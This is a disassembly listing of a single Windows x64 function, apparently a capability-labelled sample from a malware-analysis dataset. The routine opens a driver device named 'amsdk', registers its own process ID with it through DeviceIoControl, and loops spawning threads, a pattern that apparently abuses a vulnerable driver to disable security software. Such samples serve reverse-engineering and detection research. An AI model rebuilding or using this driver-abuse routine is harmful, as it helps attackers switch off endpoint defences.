Function at 0x1400cdc37
Capabilities:
Create thread

Disassembly:
jmp 0x1400eff40
push rbp
push rdi
sub rsp, 0xb38
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1fe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0xae8], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.1400ce85d
mov rcx, rax
call fcn.1400cf06e
call fcn.1400cea10
call fcn.1400cf938
mov dword [rbp + 0x4e4], 1
call fcn.1400cd17e
test eax, eax
je 0x1400effa8
call fcn.1400caca3
jmp 0x1400effb2
call fcn.1400d0379
call fcn.1400cbbd5
lea rcx, str.drop_sys_n
call fcn.1400cca8f
lea rdx, [rbp + 0x30]
lea rcx, str.trevor
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x298], rax
cmp qword [rbp + 0x298], 0xffffffffffffffff
je 0x1400efffb
xor r9d, r9d
lea r8, [rbp + 0x2c0]
mov edx, 0x104
lea rcx, [rbp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
jmp 0x1400f0011
lea rcx, str.PATH_NOT_FOUND_n
call fcn.1400cca8f
mov eax, 0xffffffff
jmp 0x1400f0203
lea rcx, [rbp + 0x2c0]
call fcn.1400cdb47
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str.._amsdk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x508], rax
cmp qword [rbp + 0x508], 0xffffffffffffffff
jne 0x1400f010c
lea rcx, str.POSSIBLE_DRV_NOT_LOADED_n
call fcn.1400cca8f
lea rdx, [rbp + 0x530]
lea rcx, [0x1402791b8]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x298], rax
cmp qword [rbp + 0x298], 0xffffffffffffffff
je 0x1400f00b2
xor r9d, r9d
lea r8, [rbp + 0x690]
mov edx, 0x104
lea rcx, [rbp + 0x55c]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
jmp 0x1400f00c8
lea rcx, str.PATH_NOT_FOUND_n
call fcn.1400cca8f
mov eax, 0xffffffff
jmp 0x1400f0203
lea rcx, [rbp + 0x690]
call fcn.1400ccee0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str.._amsdk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x508], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x7b4], eax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x7b4]
mov edx, 0x80002010
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400f0175
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400f0203
mov rcx, qword [rbp + 0x508]
call fcn.1400cf9c9
test eax, eax
jne 0x1400f0192
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400f019d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x4e4], 0
je 0x1400f01e6
call fcn.1400ce7f9
call fcn.1400cd72d
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400cdd90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x4e4], 0
jmp 0x1400f0175
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.1400cea88
mov rax, rdi
mov rcx, qword [rbp + 0xae8]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0xaf8]
pop rdi
pop rbp
ret